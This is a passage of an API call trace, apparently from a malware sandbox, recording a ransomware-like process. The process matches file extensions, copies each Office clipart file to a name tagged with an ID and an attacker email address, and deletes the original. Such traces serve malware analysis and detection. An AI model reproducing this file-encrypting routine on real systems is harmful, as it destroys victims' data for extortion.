	[0071.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.688] lstrlenW (lpString=".docx") returned 5
	[0071.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.688] lstrlenW (lpString=".pdf") returned 4
	[0071.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.688] lstrlenW (lpString=".xls") returned 4
	[0071.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.688] lstrlenW (lpString=".xlsx") returned 5
	[0071.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.688] lstrlenW (lpString=".ppt") returned 4
	[0071.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.688] lstrlenW (lpString=".zip") returned 4
	[0071.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.688] lstrlenW (lpString=".rar") returned 4
	[0071.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.688] lstrlenW (lpString=".bz2") returned 4
	[0071.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.688] lstrlenW (lpString=".7z") returned 3
	[0071.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.689] lstrlenW (lpString=".dbf") returned 4
	[0071.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.689] lstrlenW (lpString=".1cd") returned 4
	[0071.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.689] lstrlenW (lpString=".jpg") returned 4
	[0071.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.689] lstrlenW (lpString=".doc") returned 4
	[0071.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.689] lstrlenW (lpString=".docx") returned 5
	[0071.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.689] lstrlenW (lpString=".pdf") returned 4
	[0071.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.689] lstrlenW (lpString=".xls") returned 4
	[0071.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.689] lstrlenW (lpString=".xlsx") returned 5
	[0071.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.689] lstrlenW (lpString=".ppt") returned 4
	[0071.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.689] lstrlenW (lpString=".zip") returned 4
	[0071.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.689] lstrlenW (lpString=".rar") returned 4
	[0071.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.689] lstrlenW (lpString=".bz2") returned 4
	[0071.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.689] lstrlenW (lpString=".7z") returned 3
	[0071.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.690] lstrlenW (lpString=".dbf") returned 4
	[0071.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.690] lstrlenW (lpString=".1cd") returned 4
	[0071.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.690] lstrlenW (lpString=".jpg") returned 4
	[0071.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.690] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.690] lstrlenW (lpString="AN04117_.WMF") returned 12
	[0071.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0071.845] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=6060) returned 1
	[0071.845] CloseHandle (hObject=0x37c) returned 1
	[0071.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220
	[0071.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0071.846] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.846] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0072.148] GetLastError () returned 0x0
	[0072.157] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x17ac, lpOverlapped=0x0) returned 1
	[0072.176] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x17b0, lpOverlapped=0x0) returned 1
	[0072.177] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.178] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.178] SetEndOfFile (hFile=0x394) returned 1
	[0072.178] CloseHandle (hObject=0x394) returned 1
	[0072.179] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.179] SetEndOfFile (hFile=0x37c) returned 1
	[0072.180] CloseHandle (hObject=0x37c) returned 1
	[0072.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1
	[0072.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.180] lstrlenW (lpString=".doc") returned 4
	[0072.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.180] lstrlenW (lpString=".docx") returned 5
	[0072.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.180] lstrlenW (lpString=".pdf") returned 4
	[0072.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.180] lstrlenW (lpString=".xls") returned 4
	[0072.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.180] lstrlenW (lpString=".xlsx") returned 5
	[0072.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.180] lstrlenW (lpString=".ppt") returned 4
	[0072.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.181] lstrlenW (lpString=".zip") returned 4
	[0072.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.181] lstrlenW (lpString=".rar") returned 4
	[0072.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.181] lstrlenW (lpString=".bz2") returned 4
	[0072.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.181] lstrlenW (lpString=".7z") returned 3
	[0072.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.181] lstrlenW (lpString=".dbf") returned 4
	[0072.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.181] lstrlenW (lpString=".1cd") returned 4
	[0072.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.181] lstrlenW (lpString=".jpg") returned 4
	[0072.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.181] lstrlenW (lpString=".doc") returned 4
	[0072.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.181] lstrlenW (lpString=".docx") returned 5
	[0072.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.181] lstrlenW (lpString=".pdf") returned 4
	[0072.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.182] lstrlenW (lpString=".xls") returned 4
	[0072.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.182] lstrlenW (lpString=".xlsx") returned 5
	[0072.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.182] lstrlenW (lpString=".ppt") returned 4
	[0072.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.182] lstrlenW (lpString=".zip") returned 4
	[0072.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.182] lstrlenW (lpString=".rar") returned 4
	[0072.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.182] lstrlenW (lpString=".bz2") returned 4
	[0072.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.182] lstrlenW (lpString=".7z") returned 3
	[0072.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.182] lstrlenW (lpString=".dbf") returned 4
	[0072.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.182] lstrlenW (lpString=".1cd") returned 4
	[0072.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0072.182] lstrlenW (lpString=".jpg") returned 4
	[0072.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.182] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.182] lstrlenW (lpString="AN04267_.WMF") returned 12
	[0072.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.183] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=7804) returned 1
	[0072.183] CloseHandle (hObject=0x37c) returned 1
	[0072.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220
	[0072.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.183] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.183] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0072.184] GetLastError () returned 0x0
	[0072.184] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1e7c, lpOverlapped=0x0) returned 1
	[0072.186] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0072.187] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.187] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.187] SetEndOfFile (hFile=0x394) returned 1
	[0072.187] CloseHandle (hObject=0x394) returned 1
	[0072.188] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.188] SetEndOfFile (hFile=0x37c) returned 1
	[0072.189] CloseHandle (hObject=0x37c) returned 1
	[0072.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1
	[0072.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.189] lstrlenW (lpString=".doc") returned 4
	[0072.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.189] lstrlenW (lpString=".docx") returned 5
	[0072.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.189] lstrlenW (lpString=".pdf") returned 4
	[0072.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.189] lstrlenW (lpString=".xls") returned 4
	[0072.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.190] lstrlenW (lpString=".xlsx") returned 5
	[0072.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.190] lstrlenW (lpString=".ppt") returned 4
	[0072.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.190] lstrlenW (lpString=".zip") returned 4
	[0072.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.190] lstrlenW (lpString=".rar") returned 4
	[0072.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.190] lstrlenW (lpString=".bz2") returned 4
	[0072.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.190] lstrlenW (lpString=".7z") returned 3
	[0072.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.190] lstrlenW (lpString=".dbf") returned 4
	[0072.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.190] lstrlenW (lpString=".1cd") returned 4
	[0072.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.190] lstrlenW (lpString=".jpg") returned 4
	[0072.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.190] lstrlenW (lpString=".doc") returned 4
	[0072.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.190] lstrlenW (lpString=".docx") returned 5
	[0072.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.190] lstrlenW (lpString=".pdf") returned 4
	[0072.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.191] lstrlenW (lpString=".xls") returned 4
	[0072.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.191] lstrlenW (lpString=".xlsx") returned 5
	[0072.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.191] lstrlenW (lpString=".ppt") returned 4
	[0072.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.191] lstrlenW (lpString=".zip") returned 4
	[0072.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.191] lstrlenW (lpString=".rar") returned 4
	[0072.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.191] lstrlenW (lpString=".bz2") returned 4
	[0072.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.191] lstrlenW (lpString=".7z") returned 3
	[0072.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.191] lstrlenW (lpString=".dbf") returned 4
	[0072.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.191] lstrlenW (lpString=".1cd") returned 4
	[0072.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0072.191] lstrlenW (lpString=".jpg") returned 4
	[0072.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.191] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.192] lstrlenW (lpString="AN04269_.WMF") returned 12
	[0072.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.192] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2016) returned 1
	[0072.192] CloseHandle (hObject=0x37c) returned 1
	[0072.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220
	[0072.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0072.192] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.192] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0072.192] GetLastError () returned 0x0
	[0072.193] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x7e0, lpOverlapped=0x0) returned 1
	[0072.194] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0072.195] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.195] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.195] SetEndOfFile (hFile=0x394) returned 1
	[0072.195] CloseHandle (hObject=0x394) returned 1
	[0072.196] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.196] SetEndOfFile (hFile=0x37c) returned 1
	[0072.197] CloseHandle (hObject=0x37c) returned 1
	[0072.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1
	[0072.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0072.198] lstrlenW (lpString=".doc") returned 4
	[0072.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.198] lstrlenW (lpString=".docx") returned 5
